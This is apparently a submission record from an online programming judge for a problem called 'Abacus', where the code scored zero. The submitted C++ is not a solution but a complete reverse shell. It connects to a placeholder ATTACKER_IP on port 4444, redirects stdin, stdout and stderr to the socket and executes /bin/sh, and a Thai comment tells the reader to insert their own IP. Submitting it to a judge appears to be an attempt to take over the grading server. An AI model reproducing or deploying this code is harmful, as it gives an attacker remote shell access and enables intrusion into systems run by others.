Submission
Status:
xxxxxxxxxxxxxxxxxxxx
Score: 0
User: PokemonX69
Problemset: Abacus
Language: cpp
Time: 0.000 second
Submitted On: 2025-03-14 00:42:10
#include <iostream>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ATTACKER_IP "10.0.2.15" // 🔴 แก้เป็น IP ของคุณ
#define ATTACKER_PORT 4444
int main() {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(ATTACKER_PORT);
inet_pton(AF_INET, ATTACKER_IP, &server.sin_addr);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1) {
return 1;
}
dup2(sock, 0); // stdin
dup2(sock, 1); // stdout
dup2(sock, 2); // stderr
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}